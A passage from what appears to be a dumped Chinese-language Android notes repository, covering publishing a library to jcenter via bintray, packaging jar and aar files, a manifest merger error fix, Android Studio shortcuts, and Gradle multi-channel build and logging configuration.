{\n        excludedFields = new LinkedHashSet<String>();\n        excludeStaticFieldMap.put(className, excludedFields);\n      }\n      excludedFields.add(fieldName);\n      return this;\n    }\n\n    public Builder thread(String threadName) {\n        Preconditions.checkNotNull(threadName, \"threadName\");\n      excludedThreads.add(threadName);\n      return this;\n    }\n\n    public ExcludedRefs build() {\n      return new ExcludedRefs(excludeFieldMap, excludeStaticFieldMap, excludedThreads);\n    }\n  }\n}\n```\n\n\n参考源码的使用方法，如下 \n排除staticField干扰 \n\n![](http://img.blog.csdn.net/20160612212219104)\n\n![](http://img.blog.csdn.net/20160612212336653)\n\n![](http://img.blog.csdn.net/20160612212357090)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android打包相关/Android发布sdk到jcenter.md",
    "content": "# Android发布sdk到jcenter\n\n> 当我们写好一个开源项目或者写好一个商用的sdk的时候，我们可能需要将它上传到jcenter这样可以更好的提供给别人或者用户使用。当我们们上传之后，用户便可以在gradle里面通过compile来引用我们的项目了。\n\n本文介绍的是通过`bintray-release`这个插件来上传我们的项目。\n\n\n\n### 1. 注册bintray账号\n\n[注册链接](https://bintray.com/signup/oss)，一定要选择这个注册链接，因为这个注册链接是面向个人的，是免费的，如果选择了公司版是需要收费的。注册的过程就很简单了，我们也可以通过github进行第三方登录。\n\n\n\n### 2. 在bintray新建一个项目\n\n\n\n![](http://upload-images.jianshu.io/upload_images/2585384-a5161d9e13cf3f53.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n\n![](http://upload-images.jianshu.io/upload_images/2585384-dcf3a947ddc635ec.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n\n按照上述两幅图，填好项目描述等内容之后，点击Create就可以了。\n\n\n\n### 3. 查看自己的key\n\n\n\n![](http://upload-images.jianshu.io/upload_images/2585384-18643fd9ba680211.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n### 4. 在项目中配置上传所需的内容\n\n\n\n首先修改项目的gradle(Project)\n\n```java\nbuildscript {\n\n    repositories {\n        mavenCentral()\n        jcenter()\n\n    }\n    dependencies {\n        classpath 'com.android.tools.build:gradle:2.3.0'\n        classpath 'com.github.dcendents:android-maven-plugin:1.2'\n        // NOTE: Do not place your application dependencies here; they belong\n        // in the individual module build.gradle files\n          \n        //新增内容\n        classpath 'com.novoda:bintray-release:0.3.4'\n        //==========新增结束==========\n    }\n}\n\nallprojects {\n    repositories {\n        jcenter()\n    }\n\t//新增内容，防止一些注释在编译过程报错\n    tasks.withType(Javadoc) {\n        options{\n            encoding \"UTF-8\"\n            charSet 'UTF-8'\n            links \"http://docs.oracle.com/javase/7/docs/api\"\n        }\n    }\n  \t//==========新增结束==========\n}\n```\n\n\n\n修改想要上传的module的gradle(Moudle)\n\n\n\n```java\napply plugin: 'com.android.library'\n//新增内容\napply plugin: 'com.novoda.bintray-release'\n//==========新增结束==========  \n\nandroid {\n    compileSdkVersion 25\n    buildToolsVersion \"25.0.2\"\n\n    sourceSets.main {\n        jniLibs.srcDir 'jni'\n        jni.srcDirs = [] //disable automatic ndk-build call\n    }\n\n    defaultConfig {\n        minSdkVersion 14\n        targetSdkVersion 25\n        versionCode 1\n        versionName \"1.0.0\"\n        multiDexEnabled true\n\n    }\n    buildTypes {\n        release {\n            \n        }\n\n        debug {\n          \n        }\n\n    }\n\n    lintOptions {\n        abortOnError false\n    }\n}\n\ndependencies {\n    provided 'com.squareup.okhttp3:okhttp:3.5.0'\n   \n}\n//新增内容\npublish {\n    userOrg = 'linsir'//bintray.com用户名\n    repoName = 'linlog'\n    groupId = 'com.linsir'//jcenter上的路径\n    artifactId = 'linlog'//项目名称\n    publishVersion = '1.0.0'//版本号\n    desc = 'An android sdk for easy to log and toast.'//描述\n    website = 'https://github.com/linsir6/linLog'//网站,尽量采用同样的格式\n}\n//==========新增结束==========  \n```\n\n\n\n### 5. 执行上传命令\n\n在androidstudio中的Terminal中，找到当前的路径，然后执行以下命令：\n\n```java\n./gradlew clean build bintrayUpload -PbintrayUser=linsir -PbintrayKey=XXX -PdryRun=false\n```\n\n\n\n上述命令有两个地方需要替换成自己的，``-PbintrayUser=linsir``这个里面的linsir需要替换成自己在bintray上面的用户名，``-PbintrayKey=XXX``这里面的XXX需要替换成我们在``3. 查看自己的key``这步获取到的key，然后按下回车执行命令，当看到build success就完成了。\n\n\n\n### 6.add to jcenter\n\n当以上步骤全部完成之后，我们就可以在网站项目的界面中看到了，然后点击Add to Jcenter，然后添加一段描述就可以了。\n\n![](http://upload-images.jianshu.io/upload_images/2585384-e55d80a7a32b55f3.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n大概就应该在红色的这个位置，然后就可以等待工作人员的审核了，大概两个小时左右，审核通过之后会有站内信，邮箱内也收到邮件的，然后就可以通过``compile 'com.linsir:linLog:1.0.0``这种形式引用了。\n\n\n\n> 我自己也写了一个简单的这样的库，大家如果参考的话可以看一下，[代码地址](https://github.com/linsir6/linLog)。\n"
  },
  {
    "path": "docs/android/AndroidNote/Android打包相关/Android将library打包成jar文件或aar文件.md",
    "content": "> Android Library就是一个没有界面的应用程序，一般很少单独存在，一般我们是把经常用到的应用层的逻辑抽出来放在Library里面，当然一些常用的第三方的库也会采用这种方式。\n\n# 打包jar\n1. 新建一个Library，这个在studio里面很简单就可以做到。\n2. 当逻辑写完之后，需要配置grade文件，代码如下：\n```\ntask makeJar(type: Copy) {\n    //删除存在的\n    delete 'build/libs/mysdk.jar'\n    //设置拷贝的文件\n    from('build/intermediates/bundles/release/')\n    //打进jar包后的文件目录\n    into('build/libs/')\n    //将classes.jar放入build/libs/目录下\n    //include ,exclude参数来设置过滤\n    //（我们只关心classes.jar这个文件）\n    include('classes.jar')\n    //重命名\n    rename ('classes.jar', 'mysdk.jar')\n}\n```\n3. 配置之后，在AndroidStudio中的Terminal中输入：\n```\n./gradlew makeJar\n```\n4. 完成之后，生成的jar包就会出现在libs路径下面了。\n5. 引用jar包，添加如下代码：\n\n```\nrepositories {\n        flatDir {    //添加在android()里面\n            dirs 'libs'\n        }\n    }\n\ncompile files('libs/mysdk.jar')\n\n```\n\n以上便可以开始使用jar包了，简单说一下jar包里面最好是不要有静态资源文件的，因为是访问不到的，如果要访问静态文件需要利用java的反射机制，来获取添加依赖项目的静态资源。当然，如果我们的Library里面有动态库(用c写的so文件)，也是访问不到的，这时我们可以采用aar文件。\n\n----\n\n# 打包aar文件\n\n1.新建一个Library\n2.Rebuild一下代码，就可以在Library -> build -> outputs -> aar -> xxx.aar 找到了\n3.添加到想要依赖的项目的libs目录下\n4.修改gradle代码\n\n```\nrepositories {\n        flatDir {    //添加在android()里面\n            dirs 'libs'\n        }\n    }\n\ncompile(name:'DotEngine-debug', ext:'aar')\n```\n\n以上我们便可以使用了。\n"
  },
  {
    "path": "docs/android/AndroidNote/Android报错记录/Android报错-Manifest merger failed with multiple errors, see logs.md",
    "content": "# Android报错:Manifest merger failed with multiple errors, see logs\n\n在编写Android代码的时候可能会遇到这样的错误：``Manifest merger failed with multiple errors, see logs``，但是遇到这样的问题，我们的内心是崩溃的，因为它告诉我们，我们的代码有问题，编译过过去，但是又没有告诉我们问题在哪里，所以我们需要自己找问题。\n\n\n\n在Android studio自带的命令行里面，我们输入：``gradlew processDebugManifest —stacktrace``\n\n\n\n这样我们就能获得更多的信息，我们便可以根据信息进行处理了。\n\n\n\n常遇到这样问题的场景，一般都是，在自己的项目中引用到了，第三方的库，但是我们的最低版本的要求和库的版本要求可能不太一样，这个时候两个.gradle的文件在merage的时候就会产生冲突，就会报错了，我们只需要将他们两个改成一样的就可以。\n\n\n\n一般来说遇到这种问题的大多数的场景，都是多个.gradle文件在合并的过程中遇到了问题，我们可以根据报错，和我们的回忆来检查到底是哪里出现的问题。\n"
  },
  {
    "path": "docs/android/AndroidNote/Android报错记录/Android报错2.md",
    "content": "## Client not ready yet..\n\n\n这个错误导致的原因是，我们的AndroidManifest.xml中没有配置，默认的启动项。\n\n还有一个原因就是可能我们的编辑器bug了，我们可以删掉再加回来。\n"
  },
  {
    "path": "docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第一弹).md",
    "content": "# AndroidStudio使用教程(第一弹)\n\n本文为转载文章：原文地址：https://github.com/CharonChui/AndroidNote\n\n`Android Studio`是一套面世不久的`IDE`（即集成开发环境），免费向谷歌及`Android`的开发人员发放。`Android Studio`以`IntelliJ IDEA`为基础,\n旨在取代`Eclipse`和`ADT`（`Android`开发者工具）为开发者提供更好的开发工具。              \n运行相应速度、智能提示、布局文件适时多屏预览等都比`Eclipse`要强，但也不能说全部都是有点现在`Studio`中无法在一个窗口管理多个`Project`，\n每个`Project`都要打开一个窗口，或者是`close`当前的后再打开别的。\n\n当但是毕竟是预览版，所以只是暂时试用了下，并没有过多接触，开发中还是使用`Eclipse`。           \n经过一年多的沉淀，如果已到0.8.4版本，最近准备在工作用正式开始使用，所以看了下官网的教程。准备开始了。\n\n- 安装                  \n    这个我就不多说了，大家都知道，官网下载安装即可。安装完成后界面和`Eclipse`有些类似，然后就新建一个`Project`，完成之后会发现一直在提示下载，\n\t这是在下载`Gradle`，大约二三十M的大小，由于伟大的防火墙，所以可能需要很长时间，这里就不教大家了，对程序猿来说不是难题，大家都会科学上网。\n\t\n- 区别              \n    - 此`Project`非彼`Project`, `Android Studio`的目录结构(`Project`)代表一个`Workspace`，一个`Workspace`里面可以有多个`Module`，\n\t这里`Module`可以理解成`Eclipse`中的一个`Project`.\n\t`Project`代表一个完整的`Android app`，而`modules`则是`app`的一个组件，并且这个组件可以单独`build,test,debug`。`modules`可以分为下面几种：      \n\t    - Java library modules    \n        - Android library modules: 包含android相关代码和资源，最后生成AAR(Android ARchive)包    \n        - Android application modules       \n\t\t\n    - 结构发生了变化，在`src`目录下有一个`main`的分组同时包含了`java`和`res`.\n\t    ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_1.png?raw=true)        \n\t    如图：`MyApplication`就是`Project`，而`app`就是`Module`.\n\t\n- 设置           \n   进入后你会发现字体或样式等不符合你的习惯。            \n   `Windows`下点击左上角`File` -> `Settings`进入设置页面(`Mac`下为 `Android Studio` -> `Preferences`)，在搜索框搜`Font`找到`Colors&Font`下的`Font`选项，\n   我们会发现无法修改右侧字体大小。这里修改必须\n   要通过新建`Theme`进行修改的，点击`Save as`输入一个名字后，就可以修改字体了。\n   \t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2.png?raw=true)\n\n\t这里可能有些人会发现我的主题是黑色的，和`IO`大会演示的一样，但是安装后默认是白色的，有些刺眼。这里可以通过设置页面中修改`Theme`来改变,\n\t默认是`Intellij`, 改为`Darcula`就是黑色的了.\n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3.png?raw=true)\n\t很酷有木有.\n\t\n- 运行            \n    设置好字体后，当然要走你了。             \n\t运行和`Eclipse`中比较像，点击绿色的箭头。 可以通过箭头左边的下拉菜单选择不同的`Module`,快捷键是`Shift+F10`                              \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_4.png?raw=true)\n\n    `AndroidStudio`默认安装会启动模拟器，如果想让安装到真机上可以配置一下。在下拉菜单中选择`Edit Configurations`选择提示或者是`USB`设备。\n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_5.png?raw=true)\t\n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_6.png?raw=true)\t\n\t\n- 常用快捷键介绍            \n    `AndroidStudio`中可以将快捷键设置成`Eclipse`中的快捷键。具体方法为在设置页面搜索`keymap`然后选择为`Eclipse`就可以了.\n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_7.png?raw=true)\t\n\t\n\t强迫症的人伤不起，非想用默认的快捷键。               \n\t这里我整理下下个人常用的几个快捷键。 每个人的习惯不同，大家各取所需              \n\t`Ctrl+S`                   开个玩笑，这个键算是彻底废掉了， 因为`AndroidStudio`与`Eclipse`不同，他是自动保存的，所以我们再也不需要`Ctrl+S`了.   \n\n\t| 功能                                                         | Windows                                     | Mac                                          |\n\t| ------------------------------------------------------------ |:-------------------------------------------:| --------------------------------------------:|\n\t| 代码提示                 (同`Eclipse`中`Alt+/`)               | `Ctrl+空格`                                 | `Ctrl+空格`                               |\n\t| 查找文件                 (同`Eclipse`中`Ctrl+Shift+R`)        | `Ctrl+Shjft+N`                              | `双击Shift`                        |\n\t| 显示当前文件的结构       (同`Eclipse`中`Ctrl+0`)                | `Ctrl+F12`                                  | `Command+F12`                          |\n\t| 格式化                   (同`Eclipse`中`Ctrl+Shift+F`)       | `Ctrl+Alt+L`                                | `Command+Option+L`                          |\n\t| 优化导入的包             (同`Eclipse`中`Ctrl+Shift+O`)       | `Ctrl+Alt+O`                                | `Ctrl+Option+O`                         |\n\t| 查看文档                 (同`Eclipse`中`F2`)                 | `Ctrl+Q`                                    | `F1`                           |\n\t| 查找使用位               (同`Eclipse`中`File Search`)        | `Alt+F7`                                    | `Option+F7`                                |\n\t| 上下移动代码                                                 | `Alt+Shift+Up/Down`                         | `Option+Shift+Up/Down`                       |\n\t| 剪切当前行                                                   | `Ctrl+X`                                    | `Command+x`                       |\n\t| 删除当前行                                                   | `Ctrl+Y`                                    | `Command+Delete`                             |\t                        \n\t| 快速重写方法     override                                    | `Ctrl+O`                                    | `Ctrl+O`                                 |\t                           \n\t| 折叠展开代码块                                               | `Ctrl+Plus/Minus`                           | `Command+Plus/Minus`                         |\t \t                                   \n\t| 折叠展开全部代码块                                           | `Ctrl+Shift+Plus/Minus`                     | `Command+Shift+Plus/Minus`                   |\t                                                \n\t| 大小写转换                                                   | `Ctrl+Shift+U`                              | `Command+Shift+U`                            |\t      \t\t \n\t| 新建文件或生成代码(`GetSet`)                                 | `Alt+Insert`                                |      `Command+N`                                        |\n\t| 快速修复(同`Eclipse`中`F1`)                                  | `Alt+Enter`                                 |       `Option+Enter`                                       |\n\t| 显示方法参数                                                 | `Ctrl+P`                                    |   `Command+P`                                           |\t                     \n\t| 运行项目                                                     | `Shift+F10`                                 |  `Ctrl+R`                                    |\t\t\t\t \n\t| 跳转到上次修改的地方                                         | `Ctrl+Shift+Backspace`                      |     `Command+Shift+Backspace`                                         |\t                        \n\t| 快捷生成结构体(加try catch等)                                | `Ctrl+Alt+T`                                |  `Command+Option+T`                        |\t                                \n\t| 显示最近编辑列表                                             | `Ctrl+E`                                    |  `Command+E`                                            |\t                                \n\t| 跳转到大括号开头或结尾                                       | `Ctrl+{或}`                                 |          .....                                    |\t                          \n\t| 在方法间移动                                                 | `Alt+↑或↓`                                  | `Ctrl+↑或↓`                                           |\t                                            \n\t| 切换已打开的文件视图                                         | `Alt+←或→`                                  |   `Ctrl+←或→`                                           |\t                                               \n\t| 重命名                                                       | `Shift+F6`                                  |         `Shift+F6`                                    |\t                \n\t| 直接进入源码                                                 | `F4`                                        |                                              |\t                                                       \n\t| 快速打开该类或方法(与F4虽然大部分情况下相同，但他俩不一样)   | `Ctrl+B`如在布局文件上点会直接进入布局文件  |                `Command+B`                              |\n\t| 快速定位到文件错误或警告位置                                 | `F2`                                        |     `F2`                                         |\t                         \n\t| 在当前位置复制当前行                                         | `Ctrl+D`                                    |     `Command+D`                                         |\t                             \n\t| 选中两个文件或目录后进行比较(活生生一个简单的BeyondCompare)  | `Ctrl+D`                                    |      `Command+D`                                        |\t                             \n\t| 开关`Project`视图                                            | `Alt+1`                                     |    `Command+1`                                          |\t                                \n\t| 关闭当前窗口                                                 | `Ctrl+_F4`                                  |   `Command+W`                                     |\t             \n\t| 实现接口方法  implement                                      | `Ctrl+I`                                    | `Ctrl+I`                               |\n\t| 抽象方法查看具体有哪些实现类                                 | `Ctrl+Alt+B`                                | `Command+Option+B`                       |\n\t| 单行注释                                                     | `Ctrl+/`                                    | `Command+/`                       |\n\t| 多行注释                                                     | `Ctrl+Shit+/`                               | `Command+Option+/`                             |\t                        \n\t| 复制，如果当前行没有选中内容就复制当前行                     | `Ctrl+C`                                    | `Command+C`                                  |\t                           \n\t| 打开该类的关系图，查看该类的继承或实现                       | `Ctrl+H`                                    | `Ctrl+H`                     |\t \t                                   \n\t| 提示代码缩写，如so后点击提示System.out.print等               | `Ctrl+J`                                    | `Command+J`                   |\t                                                \n\t| 进入父类方法的实现  UP                                       | `Ctrl+U`                                    | `Command+U`                            |\t      \t\t \n\t| 抽取某一个块代码为单独的变量或者方法                             | `Ctrl+Alt+V`                                    | `Command+Option+V`  方法是`Command+Option+M`                       |\t    \n\t| 选择最近所有复制过内容的列表                                 | `Ctrl+Shift+V`                              |  `Command+Shift+V`                                            |\n\t| 通过卡片的方式，直接查看该方法的具体内容或者图片     | `Ctrl+Shift+I`                              |  `Option+Space`                                            |\n\t| 全局搜索                                                     | `Ctrl+Shift+F`                              |  `Command+Shift+F`                                            |\t                     \n    | 上一步、下一步                                                | ``                              |  `Command+[或]`                                            |\t                     \n   | 高亮所有相同变量                                                | `Ctrl+Shift+F7`                              |  `Command+Shift+F7`                                            |\n  | 方法调用层级弹窗                                                | `Ctrl+Alt+H`                              |  `Control+Option+H`                                            |\t\n|书签(在当前行打上书签)                                                   | `F11`                              |  `F3`                                            | \n|展示书签                                                   | `Shift+F11`                              |  `Command+F3`                                            | \n|整行代码上下移动                                                   | `Alt+Shift++↑或↓`                              |  `Option+Shift+↑或↓`                                         | \n|搜索设置操作命令                                                   | `Ctrl+Shift+A`                              |  `Command+Shift+A`                                         |\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第七弹).md",
    "content": "# AndroidStudio使用教程(第七弹)\n\n本文为转载文章：原文地址：https://github.com/CharonChui/AndroidNote\n\n\n本文讲解一下`Gradle`的应用，大家都知道`Gradle`使用起来非常方便，那他究竟方便在哪里？　　　　　　　　　　　　　　　　　　　　　　　　　　\n\n- 很多时候我们在打印`Log`日志的时候都是需要在`Debug`版本中进行打印，而在正式版本中关闭。\n    通常我们都是用一个`Config`文件来配置，不知道大家有没有遇到过正式版中忘记关闭`Log`日志的情况。\n- 多渠道包非常让人头疼。现在国内市场这么多。一个个的打多麻烦，虽然我们会用友盟打包工具等。\n    怎么破？\n    \n\n先把项目中的`build.gradle`展现一下，然后慢慢分析。\n\n```xml\napply plugin: 'com.android.application'\n\nandroid {\n    compileSdkVersion 22\n    buildToolsVersion \"22.0.1\"\n\n    defaultConfig {\n        applicationId \"com.charon.*\"\n        minSdkVersion 11\n        targetSdkVersion 22\n        versionCode 1\n        versionName \"1.0\"\n\n        multiDexEnabled true\n        // default umeng channel name\n        manifestPlaceholders = [UMENG_CHANNEL_VALUE: \"umeng\"]\n    }\n\n    signingConfigs {\n        debug {\n            storeFile file(\"debug.keystore\")\n        }\n\n        release {\n            storeFile file(\"keystore.keystore\")\n            storePassword \"android\"\n            keyAlias \"androiddebugkey\"\n            keyPassword \"android\"\n        }\n    }\n\n    buildTypes {\n        debug {\n            versionNameSuffix \"-debug\"\n            minifyEnabled false\n            zipAlignEnabled false\n            shrinkResources false\n            signingConfig signingConfigs.debug\n        }\n\n        release {\n            zipAlignEnabled true\n            // remove unused resources\n            shrinkResources true\n            minifyEnabled true\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n            signingConfig signingConfigs.release\n        }\n    }\n\n    productFlavors {\n        xiaomi {}\n        _360 {}\n        baidu {}\n        qq {}\n    }\n\n    productFlavors.all {\n            // change UMENG_CHANNEL_VALUE to the product channel name\n        flavor -> flavor.manifestPlaceholders = [UMENG_CHANNEL_VALUE: name]\n    }\n\n    lintOptions {\n        // if true, stop the gradle build if errors are found\n        abortOnError false\n\n        // set to true to turn off analysis progress reporting by lint\n        // quiet true\n        // if true, only report errors\n//        ignoreWarnings true\n        // if true, emit full/absolute paths to files with errors (true by default)\n        //absolutePaths true\n        // if true, check all issues, including those that are off by default\n//        checkAllWarnings true\n        // if true, treat all warnings as errors\n//        warningsAsErrors true\n        // turn off checking the given issue id's\n//        disable 'TypographyFractions','TypographyQuotes'\n        // turn on the given issue id's\n//        enable 'RtlHardcoded','RtlCompat', 'RtlEnabled'\n        // check *only* the given issue id's\n//        check 'NewApi', 'InlinedApi'\n        // if true, don't include source code lines in the error output\n//        noLines true\n        // if true, show all locations for an error, do not truncate lists, etc.\n//        showAll true\n        // Fallback lint configuration (default severities, etc.)\n        lintConfig file(\"default-lint.xml\")\n        // if true, generate a text report of issues (false by default)\n//        textReport true\n        // location to write the output; can be a file or 'stdout'\n//        textOutput 'stdout'\n        // if true, generate an XML report for use by for example Jenkins\n//        xmlReport false\n        // file to write report to (if not specified, defaults to lint-results.xml)\n//        xmlOutput file(\"lint-report.xml\")\n        // if true, generate an HTML report (with issue explanations, sourcecode, etc)\n//        htmlReport true\n        // optional path to report (default will be lint-results.html in the builddir)\n//        htmlOutput file(\"lint-report.html\")\n\n        // set to true to have all release builds run lint on issues with severity=fatal\n        // and abort the build (controlled by abortOnError above) if fatal issues are found\n//        checkReleaseBuilds true\n        // Set the severity of the given issues to fatal (which means they will be\n        // checked during release builds (even if the lint target is not included)\n//        fatal 'NewApi', 'InlineApi'\n        // Set the severity of the given issues to error\n//        error 'Wakelock', 'TextViewEdits'\n        // Set the severity of the given issues to warning\n//        warning 'ResourceAsColor'\n        // Set the severity of the given issues to ignore (same as disabling the check)\n//        ignore 'TypographyQuotes'\n    }\n\n    compileOptions {\n        sourceCompatibility JavaVersion.VERSION_1_7\n        targetCompatibility JavaVersion.VERSION_1_7\n    }\n\n    applicationVariants.all { variant ->\n        variant.outputs.each { output ->\n            def outputFile = output.outputFile\n            if (outputFile != null && outputFile.name.endsWith('.apk')) {\n                def fileName = outputFile.name.replace(\".apk\", \"-${defaultConfig.versionName}.apk\")\n                output.outputFile = new File(outputFile.parent, fileName)\n            }\n        }\n    }\n}\n\ndependencies {\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n    compile project(':libraries:framework')\n    // square leakcanary\n    debugCompile 'com.squareup.leakcanary:leakcanary-android:1.3.1'\n    releaseCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.3.1'\n}\n\nrepositories {\n    mavenCentral()\n    maven{\n        url \"[maven reposity path]\"\n    }\n}\n\n\n```\n\t            \n\n下面来详细讲几个地方:\n\n```xml\napply plugin: 'com.android.application'\n\nandroid {\n    ...\n    defaultConfig {\n        // 支持方法数超过65536后的处理\n        multiDexEnabled true\n        // 这里就是上面提到的替换友盟统计中channel的值，下面这句话的意思就是默认值为umeng\n        manifestPlaceholders = [UMENG_CHANNEL_VALUE: \"umeng\"]\n    }\n\n\t// 签名操作\n    signingConfigs {\n        debug {\n\t\t     // debug签名文件配置\n            storeFile file(\"debug.keystore\")\n        }\n\n        release {\n\t\t    // 正式版签名文件配置\n            storeFile file(\"keystore.keystore\")\n            storePassword \"android\"\n            keyAlias \"androiddebugkey\"\n            keyPassword \"android\"\n        }\n    }\n\n    buildTypes {\n        debug {\n\t\t    // debug的签名处理\n            versionNameSuffix \"-debug\"\n            minifyEnabled false\n            zipAlignEnabled false\n            shrinkResources false\n            signingConfig signingConfigs.debug\n        }\n\n        release {\n\t\t    // 正式版签名处理\n            zipAlignEnabled true\n            // remove unused resources\n            shrinkResources true\n\t\t\t// proguard 混淆\n            minifyEnabled true\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n            signingConfig signingConfigs.release\n        }\n    }\n\n\t// 多渠道打包\n    productFlavors {\n        xiaomi {}\n        _360 {}\n        baidu {}\n        qq {}\n\t\tfree {\n\t\t    // 当然这里还可以指定 applicationId 版本等这些内容，比如我们程序有一个收费版一个付费版，他俩的包名不同，这时候就可以通过这种方式来指定。\n\t\t\tapplicationId = 'com.test.test'\n            versionName = '1.0'\n            versionCode = 1\n\t\t}\n    }\n\n    productFlavors.all {\n        // 统一将manifest中的UMENG_CHANNEL_VALUE值替换为上面productFlavors中对应的渠道名\n        flavor -> flavor.manifestPlaceholders = [UMENG_CHANNEL_VALUE: name]\n    }\n\n    lintOptions {\n        // if true, stop the gradle build if errors are found\n        abortOnError false\n\n\t\t// 下面是一些其他的选项，一般都用不到\n        // set to true to turn off analysis progress reporting by lint\n        // quiet true\n        // if true, only report errors\n//        ignoreWarnings true\n        // if true, emit full/absolute paths to files with errors (true by default)\n        //absolutePaths true\n        // if true, check all issues, including those that are off by default\n//        checkAllWarnings true\n        // if true, treat all warnings as errors\n//        warningsAsErrors true\n        // turn off checking the given issue id's\n//        disable 'TypographyFractions','TypographyQuotes'\n        // turn on the given issue id's\n//        enable 'RtlHardcoded','RtlCompat', 'RtlEnabled'\n        // check *only* the given issue id's\n//        check 'NewApi', 'InlinedApi'\n        // if true, don't include source code lines in the error output\n//        noLines true\n        // if true, show all locations for an error, do not truncate lists, etc.\n//        showAll true\n        // Fallback lint configuration (default severities, etc.)\n        lintConfig file(\"default-lint.xml\")\n        // if true, generate a text report of issues (false by default)\n//        textReport true\n        // location to write the output; can be a file or 'stdout'\n//        textOutput 'stdout'\n        // if true, generate an XML report for use by for example Jenkins\n//        xmlReport false\n        // file to write report to (if not specified, defaults to lint-results.xml)\n//        xmlOutput file(\"lint-report.xml\")\n        // if true, generate an HTML report (with issue explanations, sourcecode, etc)\n//        htmlReport true\n        // optional path to report (default will be lint-results.html in the builddir)\n//        htmlOutput file(\"lint-report.html\")\n\n        // set to true to have all release builds run lint on issues with severity=fatal\n        // and abort the build (controlled by abortOnError above) if fatal issues are found\n//        checkReleaseBuilds true\n        // Set the severity of the given issues to fatal (which means they will be\n        // checked during release builds (even if the lint target is not included)\n//        fatal 'NewApi', 'InlineApi'\n        // Set the severity of the given issues to error\n//        error 'Wakelock', 'TextViewEdits'\n        // Set the severity of the given issues to warning\n//        warning 'ResourceAsColor'\n        // Set the severity of the given issues to ignore (same as disabling the check)\n//        ignore 'TypographyQuotes'\n    }\n\n\t// 可以指定用具体哪个JDK版本来进行编译\n    compileOptions {\n        sourceCompatibility JavaVersion.VERSION_1_7\n        targetCompatibility JavaVersion.VERSION_1_7\n    }\n\n\t// 更改生成的apk文件名字，方便区分多渠道\n    applicationVariants.all { variant ->\n        variant.outputs.each { output ->\n            def outputFile = output.outputFile\n            if (outputFile != null && outputFile.name.endsWith('.apk')) {\n                def fileName = outputFile.name.replace(\".apk\", \"-${defaultConfig.versionName}.apk\")\n                output.outputFile = new File(outputFile.parent, fileName)\n            }\n        }\n    }\n}\n\ndependencies {\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n    compile project(':libraries:framework')\n    // square leakcanary\n    debugCompile 'com.squareup.leakcanary:leakcanary-android:1.3.1'\n    releaseCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.3.1'\n}\n\nrepositories {\n    //从中央库里面获取依赖\n    mavenCentral()\n    //或者使用指定的本地maven 库\n    maven{\n        url \"file://F:/githubrepo/releases\"\n    }\n    //或者使用指定的远程maven库\n    maven{\n        url \"远程库地址\"\n    }\n}\n\n上面`build.gradle`中的配置基本就是这些，那么`manifest`中的清单文件该如何对`umeng`渠道进行修改呢？ \n```xml\n    <application\n        android:allowBackup=\"true\"\n        android:name=\".application.RetailApplication\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:theme=\"@android:style/Theme.Light.NoTitleBar.Fullscreen\"\n        android:label=\"@string/app_name\">\n        <activity\n            android:name=\".SplashActivity\"\n            android:screenOrientation=\"portrait\"\n            android:configChanges=\"keyboardHidden|orientation|screenSize\"\n            android:label=\"@string/app_name\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n\n        <!--支持Gradle中的渠道替换-->\n        <meta-data\n            android:name=\"UMENG_CHANNEL\"\n            android:value=\"${UMENG_CHANNEL_VALUE}\" />\n    </application>\n```\n\t\t\t\t\n上面讲解了如何进行多渠道打包。还剩下一个问题，就是`Log`开关的问题。这就要用到`BuildConfig.DEBUG`。 `Gradle`脚本默认有`debug`和`release`两种模式，对应的`BuildCondig.DEBUG`字段分别为`true`和`false`，而且不可更改。该字段编译后自动生成，在`app/build/source/BuildConfig/Build Varients/package name/BuildConfig`文件中。所以我们可以在`LogUtil`中这样配置。\n```java\npublic class LogUtil {\n    /**\n     * If print log here.\n     */\n    private static int LOG_LEVEL = BuildConfig.DEBUG ? 6 : 1;\n\n    private static final int VERBOSE = 5;\n    private static final int DEBUG = 4;\n    private static final int INFO = 3;\n    private static final int WARN = 2;\n    private static final int ERROR = 1;\n\n    ...\n}\n```\n\t\t\t\n这里再多提一句，就是如果我们不想使用`BuildConfig.DEBUG`，想额外的使用一些其他的配置该如何操作呢？\n可以在`gradle`文件中的`buildTypes`中进行添加。\n```xml\nbuildTypes {\n\tdebug {\n\t\t// 显示Log\n\t\tbuildConfigField \"boolean\", \"LOG_DEBUG\", \"true\"\n\t\tversionNameSuffix \"-debug\"\n\t\tminifyEnabled false\n\t\tzipAlignEnabled false\n\t\tshrinkResources false\n\t\tsigningConfig signingConfigs.debug\n\t}\n\n\trelease {\n\t\t// 